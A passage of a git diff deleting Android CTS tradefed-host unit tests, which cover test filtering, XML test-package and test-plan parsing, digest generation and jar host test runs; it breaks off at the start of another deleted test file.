deleted file mode 100644
index dfe4413..0000000
--- a/tools/tradefed-host/tests/src/com/android/cts/tradefed/testtype/JarHostTestTest.java
+++ /dev/null
@@ -1,94 +0,0 @@
-/*
- * Copyright (C) 2010 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-package com.android.cts.tradefed.testtype;
-
-import com.android.cts.tradefed.build.StubCtsBuildHelper;
-import com.android.ddmlib.testrunner.TestIdentifier;
-import com.android.tradefed.device.DeviceNotAvailableException;
-import com.android.tradefed.device.ITestDevice;
-import com.android.tradefed.result.ITestInvocationListener;
-
-import org.easymock.EasyMock;
-
-import java.net.URL;
-import java.util.ArrayList;
-import java.util.Collection;
-import java.util.Collections;
-
-import junit.framework.TestCase;
-
-/**
- * Unit tests for {@link JarHostTest}.
- */
-public class JarHostTestTest extends TestCase {
-
-    private static final String RUN_NAME = "run";
-    private JarHostTest mJarTest;
-    private StubCtsBuildHelper mStubBuildHelper;
-
-
-    @Override
-    protected void setUp() throws Exception {
-        super.setUp();
-        mJarTest = new JarHostTest() {
-            // mock out the loading from jar
-            @Override
-            Class<?> loadClass(String className, URL[] urls) throws ClassNotFoundException {
-                return MockTest.class;
-            }
-        };
-        mStubBuildHelper = new StubCtsBuildHelper();
-        mJarTest.setBuildHelper(mStubBuildHelper);
-    }
-
-    public static class MockTest extends TestCase {
-        public MockTest(String name) {
-            super(name);
-        }
-
-        public MockTest() {
-            super();
-        }
-
-        public void testFoo() {
-        }
-    }
-
-    /**
-     * Test normal case for
-     * {@link JarHostTest#run(com.android.tradefed.result.ITestInvocationListener)}.
-     */
-    @SuppressWarnings("unchecked")
-    public void testRun() throws DeviceNotAvailableException {
-        ITestInvocationListener listener = EasyMock.createMock(ITestInvocationListener.class);
-        TestIdentifier expectedTest = new TestIdentifier(MockTest.class.getName(), "testFoo");
-
-        Collection<TestIdentifier> tests = new ArrayList<TestIdentifier>(1);
-        tests.add(expectedTest);
-        listener.testRunStarted(RUN_NAME, 1);
-        listener.testStarted(expectedTest);
-        listener.testEnded(expectedTest, Collections.EMPTY_MAP);
-        listener.testRunEnded(EasyMock.anyLong(), EasyMock.eq(Collections.EMPTY_MAP));
-        mJarTest.setTests(tests);
-        mJarTest.setDevice(EasyMock.createMock(ITestDevice.class));
-        mJarTest.setJarFileName("fakefile");
-        mJarTest.setRunName(RUN_NAME);
-
-        EasyMock.replay(listener);
-        mJarTest.run(listener);
-        EasyMock.verify(listener);
-    }
-}
diff --git a/tools/tradefed-host/tests/src/com/android/cts/tradefed/testtype/TestFilterTest.java b/tools/tradefed-host/tests/src/com/android/cts/tradefed/testtype/TestFilterTest.java
deleted file mode 100644
index 2f76e1f..0000000
--- a/tools/tradefed-host/tests/src/com/android/cts/tradefed/testtype/TestFilterTest.java
+++ /dev/null
@@ -1,177 +0,0 @@
-/*
- * Copyright (C) 2011 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-package com.android.cts.tradefed.testtype;
-
-import com.android.ddmlib.testrunner.TestIdentifier;
-
-import junit.framework.TestCase;
-
-import java.util.ArrayList;
-import java.util.Collection;
-import java.util.Iterator;
-import java.util.List;
-
-/**
- * Unit tests for {@link TestFilter}.
- */
-public class TestFilterTest extends TestCase {
-
-    private TestFilter mFilter;
-    private List<TestIdentifier> mTestList;
-
-    private static final TestIdentifier TEST1 = new TestIdentifier("FooTest", "testFoo");
-    private static final TestIdentifier TEST2 = new TestIdentifier("FooTest", "testFoo2");
-    private static final TestIdentifier TEST3 = new TestIdentifier("FooTest2", "testFoo3");
-
-    @Override
-    protected void setUp() throws Exception {
-        mFilter = new TestFilter();
-        mTestList = new ArrayList<TestIdentifier>();
-        mTestList.add(TEST1);
-        mTestList.add(TEST2);
-        mTestList.add(TEST3);
-    }
-
-    /**
-     * Test {@link TestFilter#filter(java.util.Collection)} with no rules defined
-     */
-    public void testFilter_empty() {
-        assertEquals(mTestList.size(), mFilter.filter(mTestList).size());
-    }
-
-    /**
-     * Test {@link TestFilter#filter(java.util.Collection)} with an excluded test filter
-     */
-    public void testFilter_excludeTest() {
-        mFilter.addExcludedTest(TEST1);
-        Collection<TestIdentifier> filteredList = mFilter.filter(mTestList);
-        assertEquals(2, filteredList.size());
-        Iterator<TestIdentifier> iter = filteredList.iterator();
-        assertEquals(TEST2, iter.next());
-        assertEquals(TEST3, iter.next());
-    }
-
-    /**
-     * Test {@link TestFilter#filter(java.util.Collection)} with an excluded test filter
-     */
-    public void testFilter_excludeClass() {
-        mFilter.addExcludedClass(TEST1.getClassName());
-        Collection<TestIdentifier> filteredList = mFilter.filter(mTestList);
-        assertEquals(1, filteredList.size());
-        assertEquals(TEST3, filteredList.iterator().next());
-    }
-
-    /**
-     * Test {@link TestFilter#filter(java.util.Collection)} with a class inclusion rule
-     */
-    public void testFilter_includeClass() {
-        mFilter.setTestInclusion(TEST1.getClassName(), null);
-        Collection<TestIdentifier> filteredList = mFilter.filter(mTestList);
-        assertEquals(2, filteredList.size());
-        Iterator<TestIdentifier> iter = filteredList.iterator();
-        assertEquals(TEST1, iter.next());
-        assertEquals(TEST2, iter.next());
-    }
-
-    /**
-     * Test {@link TestFilter#filter(java.util.Collection)} with a class
-     */
-    public void testFilter_includeTest() {
-        mFilter.setTestInclusion(TEST1.getClassName(), TEST1.getTestName());
-        Collection<TestIdentifier> filteredList = mFilter.filter(mTestList);
-        assertEquals(1, filteredList.size());
-        Iterator<TestIdentifier> iter = filteredList.iterator();
-        assertEquals(TEST1, iter.next());
-    }
-
-    /**
-     * Test {@link TestFilter#filter(java.util.Collection)} with an included test filter
-     */
-    public void testFilter_includeClasses() {
-        mFilter.addIncludedClass(TEST3.getClassName());
-        Collection<TestIdentifier> filteredList = mFilter.filter(mTestList);
-        assertEquals(1, filteredList.size());
-        assertEquals(TEST3, filteredList.iterator().next());
-    }
-
-    /**
-     * Test {@link TestFilter#filter(java.util.Collection)} with an included test filter
-     */
-    public void testFilter_includeTests() {
-        mFilter.addIncludedTest(TEST1);
-        mFilter.addIncludedTest(TEST3);
-        Collection<TestIdentifier> filteredList = mFilter.filter(mTestList);
-        assertEquals(2, filteredList.size());
-        Iterator<TestIdentifier> iter = filteredList.iterator();
-        assertEquals(TEST1, iter.next());
-        assertEquals(TEST3, iter.next());
-    }
-
-    /**
-     * Test {@link TestFilter#filter(java.util.Collection)}. Exclusion overrides
-     * inclusion.
-     */
-    public void testFilter_includeAndExcludeClasses() {
-        String className = TEST3.getClassName();
-        mFilter.addExcludedClass(className);
-        mFilter.addIncludedClass(className);
-        assertTrue(mFilter.filter(mTestList).isEmpty());
-    }
-
-    /**
-     * Test {@link TestFilter#filter(java.util.Collection)} Exclusion overrides
-     * inclusion.
-     */
-    public void testFilter_includeAndExcludeTests() {
-        mFilter.addExcludedTest(TEST1);
-        mFilter.addIncludedTest(TEST1);
-        assertTrue(mFilter.filter(mTestList).isEmpty());
-    }
-
-    /**
-     * Test {@link TestFilter#filter(java.util.Collection)} Exclusion overrides
-     * inclusion.
-     */
-    public void testFilter_includeTestAndExcludeClass() {
-        mFilter.addExcludedClass(TEST1.getClassName());
-        mFilter.addIncludedTest(TEST1);
-        assertTrue(mFilter.filter(mTestList).isEmpty());
-    }
-
-    /**
-     * Test {@link TestFilter#filter(java.util.Collection)} Exclusion overrides
-     * inclusion.
-     */
-    public void testFilter_includeClassAndExcludeTest() {
-        mFilter.addExcludedTest(TEST1);
-        mFilter.addIncludedClass(TEST1.getClassName());
-        Collection<TestIdentifier> filteredList = mFilter.filter(mTestList);
-        assertEquals(1, filteredList.size());
-        Iterator<TestIdentifier> iter = filteredList.iterator();
-        assertEquals(TEST2, iter.next());
-    }
-
-    /**
-     * Test {@link TestFilter#filter(java.util.Collection)} Exclusion overrides
-     * inclusion.
-     */
-    public void testFilter_includeClassAndExcludeTests() {
-        mFilter.addExcludedTest(TEST1);
-        mFilter.addExcludedTest(TEST2);
-        mFilter.addIncludedClass(TEST1.getClassName());
-        assertTrue(mFilter.filter(mTestList).isEmpty());
-    }
-}
diff --git a/tools/tradefed-host/tests/src/com/android/cts/tradefed/testtype/TestPackageDefTest.java b/tools/tradefed-host/tests/src/com/android/cts/tradefed/testtype/TestPackageDefTest.java
deleted file mode 100644
index 2a5777b..0000000
--- a/tools/tradefed-host/tests/src/com/android/cts/tradefed/testtype/TestPackageDefTest.java
+++ /dev/null
@@ -1,46 +0,0 @@
-/*
- * Copyright (C) 2011 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-package com.android.cts.tradefed.testtype;
-
-import java.io.ByteArrayInputStream;
-import java.io.File;
-import java.io.InputStream;
-
-import junit.framework.TestCase;
-
-/**
- * Unit tests for {@link TestPackageDef}.
- */
-public class TestPackageDefTest extends TestCase {
-
-    /**
-     * Regression test for {@link TestPackageDef#generateDigest(File, String)} that ensures expected
-     * digest is generated for fixed data.
-     */
-    public void testGenerateDigest() {
-        TestPackageDef def = new TestPackageDef() {
-          @Override
-          InputStream getFileStream(File dir, String fileName) {
-              return new ByteArrayInputStream("test data for digest".getBytes());
-          }
-        };
-        String digest = def.generateDigest(new File("unused"), "alsounused");
-        assertNotNull(digest);
-        assertEquals("58c222b5f5f81b4b58891ec59924b9b2f530452e", digest);
-
-    }
-
-}
diff --git a/tools/tradefed-host/tests/src/com/android/cts/tradefed/testtype/TestPackageXmlParserTest.java b/tools/tradefed-host/tests/src/com/android/cts/tradefed/testtype/TestPackageXmlParserTest.java
deleted file mode 100644
index 8655885..0000000
--- a/tools/tradefed-host/tests/src/com/android/cts/tradefed/testtype/TestPackageXmlParserTest.java
+++ /dev/null
@@ -1,277 +0,0 @@
-/*
- * Copyright (C) 2010 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.android.cts.tradefed.testtype;
-
-import com.android.compatibility.common.util.AbiUtils;
-import com.android.ddmlib.testrunner.TestIdentifier;
-import com.android.tradefed.util.xml.AbstractXmlParser.ParseException;
-
-import junit.framework.TestCase;
-
-import java.io.ByteArrayInputStream;
-import java.io.InputStream;
-import java.util.Iterator;
-import java.util.List;
-import java.util.Map;
-
-/**
- * Unit tests for {@link TestPackageXmlParser}.
- */
-public class TestPackageXmlParserTest extends TestCase {
-
-    private static final String INSTR_TEST_DATA =
-        "<TestPackage AndroidFramework=\"Android 1.0\" appNameSpace=\"com.example\" " +
-        "appPackageName=\"android.example\" name=\"CtsExampleTestCases\" " +
-        "runner=\"android.test.InstrumentationTestRunner\" version=\"1.0\">" +
-        "</TestPackage>";
-
-    private static final String HOST_TEST_DATA =
-        "<TestPackage hostSideOnly=\"true\" >\n" +
-        "    <TestSuite name=\"com\" >\n" +
-        "        <TestSuite name=\"example\" >\n" +
-        "            <TestCase name=\"ExampleTest\" >\n" +
-        "                <Test name=\"testFoo\" />\n" +
-        "                <Test name=\"testFoo2\" expectation=\"failure\" />\n" +
-        "            </TestCase>\n" +
-        "        </TestSuite>\n" +
-        "        <TestSuite name=\"example2\" >\n" +
-        "            <TestCase name=\"Example2Test\" >\n" +
-        "                <Test name=\"testFoo\" />\n" +
-        "            </TestCase>\n" +
-        "        </TestSuite>\n" +
-        "    </TestSuite>\n" +
-        "</TestPackage>";
-
-    private static final String BAD_HOST_TEST_DATA =
-        "<TestPackage hostSideOnly=\"blah\" >" +
-        "</TestPackage>";
-
-    private static final String VM_HOST_TEST_XML =
-            "<TestPackage vmHostTest=\"true\"></TestPackage>";
-
-    private static final String NATIVE_TEST_XML = "<TestPackage testType=\"native\"></TestPackage>";
-
-    private static final String NO_TEST_DATA = "<invalid />";
-
-    private static final String INSTANCED_TEST_DATA =
-        "<TestPackage>\n" +
-        "    <TestSuite name=\"com\" >\n" +
-        "        <TestSuite name=\"example\" >\n" +
-        "            <TestCase name=\"ExampleTest\" >\n" +
-        "                <Test name=\"testMultiInstanced\" >\n" +
-        "                    <TestInstance foo=\"bar\" />\n" +
-        "                    <TestInstance foo=\"baz\" foo2=\"baz2\"/>\n" +
-        "                </Test>\n" +
-        "                <Test name=\"testSingleInstanced\" >\n" +
-        "                    <TestInstance foo=\"bar\" />\n" +
-        "                </Test>\n" +
-        "                <Test name=\"testEmptyInstances\" >\n" +
-        "                    <TestInstance />\n" +
-        "                    <TestInstance />\n" +
-        "                </Test>\n" +
-        "                <Test name=\"testNotInstanced\" >\n" +
-        "                </Test>\n" +
-        "            </TestCase>\n" +
-        "        </TestSuite>\n" +
-        "    </TestSuite>\n" +
-        "</TestPackage>";
-
-    /**
-     * Test parsing test case xml containing an instrumentation test definition.
-     */
-    public void testParse_instrPackage() throws ParseException  {
-        TestPackageXmlParser parser = new TestPackageXmlParser(true);
-        parser.parse(getStringAsStream(INSTR_TEST_DATA));
-        for (TestPackageDef def : parser.getTestPackageDefs()) {
-            assertEquals("com.example", def.getAppNameSpace());
-            assertEquals("android.example", def.getAppPackageName());
-            assertEquals("android.test.InstrumentationTestRunner", def.getRunner());
-            assertTrue(AbiUtils.isAbiSupportedByCompatibility(def.getAbi().getName()));
-        }
-    }
-
-    /**
-     * Test parsing test case xml containing an host test attribute and test data.
-     */
-    public void testParse_hostTest() throws ParseException  {
-        TestPackageXmlParser parser = new TestPackageXmlParser(true);
-        parser.parse(getStringAsStream(HOST_TEST_DATA));
-        for (TestPackageDef def : parser.getTestPackageDefs()) {
-            assertEquals(TestPackageDef.HOST_SIDE_ONLY_TEST, def.getTestType());
-            assertEquals(3, def.getTests().size());
-            Iterator<TestIdentifier> iterator = def.getTests().iterator();
-
-            TestIdentifier firstTest = iterator.next();
-            assertEquals("com.example.ExampleTest", firstTest.getClassName());
-            assertEquals("testFoo", firstTest.getTestName());
-
-            TestIdentifier secondTest = iterator.next();
-            assertEquals("com.example.ExampleTest", secondTest.getClassName());
-            assertEquals("testFoo2", secondTest.getTestName());
-
-            TestIdentifier thirdTest = iterator.next();
-            assertEquals("com.example2.Example2Test", thirdTest.getClassName());
-            assertEquals("testFoo", thirdTest.getTestName());
-
-            assertFalse(iterator.hasNext());
-        }
-    }
-
-    public void testParse_hostTest_noKnownFailures() throws ParseException  {
-        TestPackageXmlParser parser = new TestPackageXmlParser(false);
-        parser.parse(getStringAsStream(HOST_TEST_DATA));
-        for (TestPackageDef def : parser.getTestPackageDefs()) {
-            assertEquals(TestPackageDef.HOST_SIDE_ONLY_TEST, def.getTestType());
-            assertEquals(2, def.getTests().size());
-            Iterator<TestIdentifier> iterator = def.getTests().iterator();
-
-            TestIdentifier firstTest = iterator.next();
-            assertEquals("com.example.ExampleTest", firstTest.getClassName());
-            assertEquals("testFoo", firstTest.getTestName());
-
-            TestIdentifier thirdTest = iterator.next();
-            assertEquals("com.example2.Example2Test", thirdTest.getClassName());
-            assertEquals("testFoo", thirdTest.getTestName());
-
-            assertFalse(iterator.hasNext());
-        }
-    }
-
-    /**
-     * Test parsing test case xml containing an invalid host test attribute.
-     */
-    public void testParse_badHostTest() throws ParseException  {
-        TestPackageXmlParser parser = new TestPackageXmlParser(true);
-        parser.parse(getStringAsStream(BAD_HOST_TEST_DATA));
-        for (TestPackageDef def : parser.getTestPackageDefs()) {
-            assertFalse(TestPackageDef.HOST_SIDE_ONLY_TEST.equals(def.getTestType()));
-        }
-    }
-
-    public void testParse_vmHostTest() throws ParseException  {
-        assertTestType(TestPackageDef.VM_HOST_TEST, VM_HOST_TEST_XML);
-    }
-
-    public void testParse_nativeTest() throws ParseException  {
-        assertTestType(TestPackageDef.NATIVE_TEST, NATIVE_TEST_XML);
-    }
-
-    private void assertTestType(String expectedType, String xml) throws ParseException {
-        TestPackageXmlParser parser = new TestPackageXmlParser(true);
-        parser.parse(getStringAsStream(xml));
-        for (TestPackageDef def : parser.getTestPackageDefs()) {
-            assertEquals(expectedType, def.getTestType());
-        }
-    }
-
-    /**
-     * Test parsing a test case xml with no test package data.
-     */
-    public void testParse_noData() throws ParseException  {
-        TestPackageXmlParser parser = new TestPackageXmlParser(true);
-        parser.parse(getStringAsStream(NO_TEST_DATA));
-        assertTrue(parser.getTestPackageDefs().isEmpty());
-    }
-
-    /**
-     * Test parsing a test case xml with multiple test instances
-     */
-    public void testParse_instancedMultiple() throws ParseException  {
-        TestPackageXmlParser parser = new TestPackageXmlParser(true);
-        parser.parse(getStringAsStream(INSTANCED_TEST_DATA));
-        for (TestPackageDef def : parser.getTestPackageDefs()) {
-            final TestIdentifier testId =
-                    new TestIdentifier("com.example.ExampleTest", "testMultiInstanced");
-            final List<Map<String, String>> targetInstances =
-                    def.getTestInstanceArguments().get(testId);
-            assertNotNull(targetInstances);
-            assertEquals(2, targetInstances.size());
-
-            final Iterator<Map<String, String>> iterator = targetInstances.iterator();
-            final Map<String, String> firstInstance = iterator.next();
-            final Map<String, String> secondInstance = iterator.next();
-
-            assertEquals("bar", firstInstance.get("foo"));
-            assertEquals("baz", secondInstance.get("foo"));
-            assertEquals("baz2", secondInstance.get("foo2"));
-        }
-    }
-
-    /**
-     * Test parsing a test case xml with single test instance
-     */
-    public void testParse_instancedSingle() throws ParseException  {
-        TestPackageXmlParser parser = new TestPackageXmlParser(true);
-        parser.parse(getStringAsStream(INSTANCED_TEST_DATA));
-        for (TestPackageDef def : parser.getTestPackageDefs()) {
-            final TestIdentifier testId =
-                    new TestIdentifier("com.example.ExampleTest", "testSingleInstanced");
-            final List<Map<String, String>> targetInstances =
-                    def.getTestInstanceArguments().get(testId);
-            assertNotNull(targetInstances);
-            assertEquals(1, targetInstances.size());
-
-            final Iterator<Map<String, String>> iterator = targetInstances.iterator();
-            final Map<String, String> firstInstance = iterator.next();
-
-            assertEquals("bar", firstInstance.get("foo"));
-        }
-    }
-
-    /**
-     * Test parsing a test case xml with multiple test instances with no data
-     */
-    public void testParse_instancedEmptys() throws ParseException  {
-        TestPackageXmlParser parser = new TestPackageXmlParser(true);
-        parser.parse(getStringAsStream(INSTANCED_TEST_DATA));
-        for (TestPackageDef def : parser.getTestPackageDefs()) {
-            final TestIdentifier testId =
-                    new TestIdentifier("com.example.ExampleTest", "testEmptyInstances");
-            final List<Map<String, String>> targetInstances =
-                    def.getTestInstanceArguments().get(testId);
-            assertNotNull(targetInstances);
-            assertEquals(2, targetInstances.size());
-
-            final Iterator<Map<String, String>> iterator = targetInstances.iterator();
-            final Map<String, String> firstInstance = iterator.next();
-            final Map<String, String> secondInstance = iterator.next();
-
-            assertTrue(firstInstance.isEmpty());
-            assertTrue(secondInstance.isEmpty());
-        }
-    }
-
-    /**
-     * Test parsing a test case xml with no test instances
-     */
-    public void testParse_instancedNoInstances() throws ParseException  {
-        TestPackageXmlParser parser = new TestPackageXmlParser(true);
-        parser.parse(getStringAsStream(INSTANCED_TEST_DATA));
-        for (TestPackageDef def : parser.getTestPackageDefs()) {
-            final TestIdentifier testId =
-                    new TestIdentifier("com.example.ExampleTest", "testNotInstanced");
-            final List<Map<String, String>> targetInstances =
-                    def.getTestInstanceArguments().get(testId);
-            assertNotNull(targetInstances);
-            assertTrue(targetInstances.isEmpty());
-        }
-    }
-
-    private InputStream getStringAsStream(String input) {
-        return new ByteArrayInputStream(input.getBytes());
-    }
-}
diff --git a/tools/tradefed-host/tests/src/com/android/cts/tradefed/testtype/TestPlanTest.java b/tools/tradefed-host/tests/src/com/android/cts/tradefed/testtype/TestPlanTest.java
deleted file mode 100644
index be260ea..0000000
--- a/tools/tradefed-host/tests/src/com/android/cts/tradefed/testtype/TestPlanTest.java
+++ /dev/null
@@ -1,220 +0,0 @@
-/*
- * Copyright (C) 2010 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.android.cts.tradefed.testtype;
-
-import com.android.compatibility.common.util.AbiUtils;
-import com.android.ddmlib.testrunner.TestIdentifier;
-import com.android.tradefed.util.xml.AbstractXmlParser.ParseException;
-
-import junit.framework.TestCase;
-
-import java.io.ByteArrayInputStream;
-import java.io.ByteArrayOutputStream;
-import java.io.IOException;
-import java.io.InputStream;
-import java.util.ArrayList;
-import java.util.Collections;
-import java.util.Iterator;
-import java.util.List;
-import java.util.Set;
-
-/**
- * Unit tests for {@link TestPlan}.
- */
-public class TestPlanTest extends TestCase {
-
-    private static final String TEST_NAME1 = "foo";
-    private static final String TEST_NAME2 = "foo2";
-    private static final String EXCLUDE_TEST_CLASS = "com.example.FooTest";
-    private static final String EXCLUDE_TEST_METHOD = "testFoo";
-    private static final String EXCLUDE_TEST_METHOD2 = "testFoo2";
-
-    static final String EMPTY_DATA = "<TestPlan version=\"1.0\" />";
-
-    static final String TEST_DATA =
-        "<TestPlan version=\"1.0\">" +
-            String.format("<Entry name=\"%s\" />", TEST_NAME1) +
-            String.format("<Entry name=\"%s\" />", TEST_NAME2) +
-        "</TestPlan>";
-
-    static final String TEST_EXCLUDED_DATA =
-        "<TestPlan version=\"1.0\">" +
-            String.format("<Entry name=\"%s\" exclude=\"%s#%s\" />", TEST_NAME1, EXCLUDE_TEST_CLASS,
-                    EXCLUDE_TEST_METHOD) +
-        "</TestPlan>";
-
-    static final String TEST_MULTI_EXCLUDED_DATA =
-        "<TestPlan version=\"1.0\">" +
-            String.format("<Entry name=\"%s\" exclude=\"%s#%s;%s#%s\" />", TEST_NAME1,
-                    EXCLUDE_TEST_CLASS, EXCLUDE_TEST_METHOD, EXCLUDE_TEST_CLASS,
-                    EXCLUDE_TEST_METHOD2) +
-        "</TestPlan>";
-
-    static final String TEST_CLASS_EXCLUDED_DATA =
-        "<TestPlan version=\"1.0\">" +
-            String.format("<Entry name=\"%s\" exclude=\"%s\" />", TEST_NAME1,
-                    EXCLUDE_TEST_CLASS) +
-        "</TestPlan>";
-
-    private TestPlan mPlan;
-
-    @Override
-    protected void setUp() throws Exception {
-        super.setUp();
-        mPlan = new TestPlan("plan", AbiUtils.getAbisSupportedByCompatibility());
-    }
-
-    /**
-     * Simple test for parsing a plan containing two names
-     */
-    public void testParse() throws ParseException  {
-        mPlan.parse(getStringAsStream(TEST_DATA));
-        assertTestData(mPlan);
-    }
-
-    /**
-     * Perform checks to ensure TEST_DATA was parsed correctly
-     * @param plan
-     */
-    private void assertTestData(TestPlan plan) {
-        Set<String> abis = AbiUtils.getAbisSupportedByCompatibility();
-        assertEquals(2 * abis.size(), plan.getTestIds().size());
-        List<String> sortedAbis = new ArrayList<String>(abis);
-        Collections.sort(sortedAbis);
-        Iterator<String> iter = plan.getTestIds().iterator();
-        for (String abi : sortedAbis) {
-            String test1Id = AbiUtils.createId(abi, TEST_NAME1);
-            String test2Id = AbiUtils.createId(abi, TEST_NAME2);
-            // assert names in order
-            assertEquals(test1Id, iter.next());
-            assertEquals(test2Id, iter.next());
-            assertFalse(plan.getTestFilter(test1Id).hasExclusion());
-            assertFalse(plan.getTestFilter(test2Id).hasExclusion());
-        }
-    }
-
-    /**
-     * Test parsing a plan containing a single excluded test
-     */
-    public void testParse_exclude() throws ParseException  {
-        mPlan.parse(getStringAsStream(TEST_EXCLUDED_DATA));
-        Set<String> abis = AbiUtils.getAbisSupportedByCompatibility();
-        assertEquals(abis.size(), mPlan.getTestIds().size());
-
-        for (String abi : abis) {
-            String test1Id = AbiUtils.createId(abi, TEST_NAME1);
-            TestFilter filter = mPlan.getTestFilter(test1Id);
-            assertTrue(filter.getExcludedTests().contains(new TestIdentifier(EXCLUDE_TEST_CLASS,
-                    EXCLUDE_TEST_METHOD)));
-        }
-    }
-
-    /**
-     * Test parsing a plan containing multiple excluded tests
-     */
-    public void testParse_multiExclude() throws ParseException  {
-        mPlan.parse(getStringAsStream(TEST_MULTI_EXCLUDED_DATA));
-        assertMultiExcluded(mPlan);
-    }
-
-    /**
-     * Perform checks to ensure TEST_MULTI_EXCLUDED_DATA was parsed correctly
-     * @param plan
-     */
-    private void assertMultiExcluded(TestPlan plan) {
-        Set<String> abis = AbiUtils.getAbisSupportedByCompatibility();
-        assertEquals(abis.size(), plan.getTestIds().size());
-
-        for (String abi : abis) {
-            String test1Id = AbiUtils.createId(abi, TEST_NAME1);
-            TestFilter filter = plan.getTestFilter(test1Id);
-            assertTrue(filter.getExcludedTests().contains(new TestIdentifier(EXCLUDE_TEST_CLASS,
-                    EXCLUDE_TEST_METHOD)));
-            assertTrue(filter.getExcludedTests().contains(new TestIdentifier(EXCLUDE_TEST_CLASS,
-                    EXCLUDE_TEST_METHOD2)));
-        }
-    }
-
-    /**
-     * Test parsing a plan containing an excluded class
-     */
-    public void testParse_classExclude() throws ParseException  {
-        mPlan.parse(getStringAsStream(TEST_CLASS_EXCLUDED_DATA));
-        Set<String> abis = AbiUtils.getAbisSupportedByCompatibility();
-        assertEquals(abis.size(), mPlan.getTestIds().size());
-
-        for (String abi : abis) {
-            String test1Id = AbiUtils.createId(abi, TEST_NAME1);
-            TestFilter filter = mPlan.getTestFilter(test1Id);
-            assertTrue(filter.getExcludedClasses().contains(EXCLUDE_TEST_CLASS));
-        }
-    }
-
-    /**
-     * Test serializing an empty plan
-     * @throws IOException
-     */
-    public void testSerialize_empty() throws IOException  {
-        ByteArrayOutputStream outStream = new ByteArrayOutputStream();
-        mPlan.serialize(outStream);
-        assertTrue(outStream.toString().contains(EMPTY_DATA));
-    }
-
-    /**
-     * Test serializing and deserializing plan with two packages
-     * @throws IOException
-     */
-    public void testSerialize_packages() throws ParseException, IOException  {
-        Set<String> abis = AbiUtils.getAbisSupportedByCompatibility();
-        for (String abi : abis) {
-            mPlan.addPackage(AbiUtils.createId(abi, TEST_NAME1));
-            mPlan.addPackage(AbiUtils.createId(abi, TEST_NAME2));
-        }
-        ByteArrayOutputStream outStream = new ByteArrayOutputStream();
-        mPlan.serialize(outStream);
-        TestPlan parsedPlan = new TestPlan("parsed", AbiUtils.getAbisSupportedByCompatibility());
-        parsedPlan.parse(getStringAsStream(outStream.toString()));
-        // parsedPlan should contain same contents as TEST_DATA
-        assertTestData(parsedPlan);
-    }
-
-    /**
-     * Test serializing and deserializing plan with multiple excluded tests
-     */
-    public void testSerialize_multiExclude() throws ParseException, IOException  {
-        Set<String> abis = AbiUtils.getAbisSupportedByCompatibility();
-
-        for (String abi : abis) {
-            String test1Id = AbiUtils.createId(abi, TEST_NAME1);
-            mPlan.addPackage(test1Id);
-            mPlan.addExcludedTest(test1Id, new TestIdentifier(EXCLUDE_TEST_CLASS,
-                    EXCLUDE_TEST_METHOD));
-            mPlan.addExcludedTest(test1Id, new TestIdentifier(EXCLUDE_TEST_CLASS,
-                    EXCLUDE_TEST_METHOD2));
-        }
-        ByteArrayOutputStream outStream = new ByteArrayOutputStream();
-        mPlan.serialize(outStream);
-        TestPlan parsedPlan = new TestPlan("parsed", AbiUtils.getAbisSupportedByCompatibility());
-        parsedPlan.parse(getStringAsStream(outStream.toString()));
-        // parsedPlan should contain same contents as TEST_DATA
-        assertMultiExcluded(parsedPlan);
-    }
-
-    private InputStream getStringAsStream(String input) {
-        return new ByteArrayInputStream(input.getBytes());
-    }
-}
diff --git a/tools/tradefed-host/tests/src/com/android/cts/tradefed/testtype/WrappedGTestResultParserTest.java b/tools/tradefed-host/tests/src/com/android/cts/tradefed/testtype/WrappedGTestResultParserTest.java
deleted file mode 100644
index d386c7a..0000000
--- a/tools/tradefed-host/tests/src/com/android/cts/tradefed/testtype/WrappedGTestResultParserTest.java
+++ /dev/null
@@ -1,105 +0,0 @@
-/*
- * Copyright 2012 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-package com.android.cts.tradefed.testtype;
-
-import com.android.ddmlib.testrunner.ITestRunListener;
-
-import junit.framework.TestCase;
-
-
-
-/**
